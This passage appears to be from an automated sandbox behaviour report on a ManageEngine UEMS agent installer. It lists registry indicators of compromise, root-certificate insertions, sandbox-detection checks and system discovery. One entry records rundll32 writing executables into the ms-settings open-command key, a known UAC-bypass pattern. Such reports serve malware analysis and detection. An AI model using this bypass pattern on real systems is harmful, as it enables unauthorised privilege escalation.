8d8d47b3f10c98cf0e2ba45bdac6b526d6000af7868157d31f33c526fdda8cef2d0dc3869987879a0c648aed19e17b1980aa6ebd3c23e779858ed06f0b2da2f4609b06c5743e6c2209f8182aa72ddba8f5bd5b9e707fd69279a489b432d45b83c4da63b0458fe989132cb18e90fe6c729d3bdf5fc18d471d0ac42abcae111537e28e84d3b4b65192985c37958838ebe4dfd7eb904e6c4ccba19599b072a509b96eff2fec3c98c2d133d3226f807bc9c6268a13adef401345a176b37c89ea55b0755ea60800fe2d70f373fc2daa5e8336219a1a6 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\2F28A9A49C5C164DBD8E4FD2719F2F91AD74138E\Blob = 0300000001000000140000002f28a9a49c5c164dbd8e4fd2719f2f91ad74138e2000000001000000f0030000308203ec308202d4a00302010202085e6292271cc93a15300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303137343330315a180f32303531303932303137343330315a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b676f348f0b7447a422a032acebfd938627f26c731d9d5081ebb79ac64099f449239fb21f0609251b49d7c8a271636b05d22899772be7e2274d5edc68730e768cdaeea1a125c8ebf3bdb276f3a57ba442bd84f4b7415df5b06353c202f30e6f28a13cda0d38042dbc984586af1a5f6df3182356bc26fbe0b6103ce6c34cc31c454eaca77aedb2335e997b87b5878e366292f42199e59b67ba949ea03d5e7c7e7e9fa60f5b96aee35ef90db7e04ccb9d202d33935fb212a3622bc066796a4c853e3b07001ef3c704512df3b2712491303dc9d06a29b79ceb9fe23a8137a623ca4e366f304440544c56892c31674007e1eb606efc9d4b8f4eea7a280521994fc690203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414ff18902e77f51071cdf297cef1cae7d01fd47285301f0603551d23041830168014ff18902e77f51071cdf297cef1cae7d01fd47285300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101000ab8ba29f902d319c1f45a8cbb9279a85a68cf956f92386a22f2a46903bf81ed2bca80008c431cb958b15e7dfd6390e476e891f177b3928da2e6ec9d0d025635e195ddd063da9c06d1b75112096e8fae9db9225970525f439e22dd21c65a5f1353f78e365ac06c4a64f66eccfdf828223f18a605917cdf8f3af8d5984b97d016d2420b2cdf0d3b6c8a3988afe0ad69945d13b2517b2f7f7c856891555fd2a2c6291129624bebf026622cb50e75f919bf71c0349dd95dd2997e153545f43522fb19f1ffcd649d5a9dc75b857daf6b6914e66409c9ccac8ad691cb819424b74cad9a40729d4a303c821622356cc5e31bc5d7283c64b3b32cb23c0b3d232c4a596c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8205496D518029E332E5C309C06F06C4F1D0ABA9\Blob = 0f0000000100000020000000508f67cf1926879a77695f14d1567438f61c0dfbc70812f7bc56390deaea21f70300000001000000140000008205496d518029e332e5c309c06f06c4f1d0aba92000000001000000d8030000308203d4308202bca00302010202082b2c89a3eee3cb24300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303137343330305a180f32303531303932303137343330305a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c57314a6e87e26e8719d3b35c53032c7e1cbf8a2b1bcfc131501f3454488ac6c1f9669e925dd48e8b0e09608070b9409052b2078f6f9e83651c27940660f6f0711c79c6de99801414015f632b2696b61c5f49d8f5d878d5dcfad6229457a75575cf208e517eb414e9a7f8b6ac7041d55a84f7be93918cf5b1065f63fac8ef4e4381be87c191cdb0bd0463f53abb180b98d1a8b79ff234506010ac7e630aab55a39c3dff180db743277f2f367c6d98adfa7f83abfaf5c685c3ea2826493e1990b2f6510009626607aace189f2b4a2f07c3c1cb7ef98ebe68a1a36507a38a073315092e27ed76a645d373747317062315e0bd0d267e51cc3d6d821f1f4b9268f770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414608a1bfa8f762321e9324663fac6ce0aa04229e1301f0603551d23041830168014608a1bfa8f762321e9324663fac6ce0aa04229e1300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a5bdb14e1ce56222e89f50ac0d631e5c511c1c515ecf0e5d74620bdc17909123ab65cddf999b73ded3c1634ed8d8d47b3f10c98cf0e2ba45bdac6b526d6000af7868157d31f33c526fdda8cef2d0dc3869987879a0c648aed19e17b1980aa6ebd3c23e779858ed06f0b2da2f4609b06c5743e6c2209f8182aa72ddba8f5bd5b9e707fd69279a489b432d45b83c4da63b0458fe989132cb18e90fe6c729d3bdf5fc18d471d0ac42abcae111537e28e84d3b4b65192985c37958838ebe4dfd7eb904e6c4ccba19599b072a509b96eff2fec3c98c2d133d3226f807bc9c6268a13adef401345a176b37c89ea55b0755ea60800fe2d70f373fc2daa5e8336219a1a6 dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 47 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcmetroapps.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ComputerDefaults.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ComputerDefaults.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcpatchscan.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe - Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 548 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcconfig.exe - Modifies registry class 43 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell rundll32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell\open rundll32.exe Key deleted \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell\open\command rundll32.exe Key deleted \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell\open rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/xgoAQcJeTYeZKVTXcLfYLNyKGCJocpkj.GrA/BBCuMBAqWOtLmdsRjBcLJcHgkUeeYRNC.muQ.exe" rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell\open\command rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell\open\command\DelegateExecute rundll32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings rundll32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/hagqfGuSRlEBUcOtDOpDMfkZrNvIdpFM.gGz/CUOyzuYkKwHlmhUrWXTKCbGQgJlJppcJ.ktO.exe" rundll32.exe Key deleted \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings\Shell rundll32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\RarSFX0\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "CE1E7CFE638983C47B8BAD6F7A3ADD89" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Key deleted \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\ms-settings rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings KeNoAIv923.6.5767.71931.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8205496D518029E332E5C309C06F06C4F1D0ABA9 dcagentregister.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\2F28A9A49C5C164DBD8E4FD2719F2F91AD74138E dcagentregister.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe 5708 rundll32.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
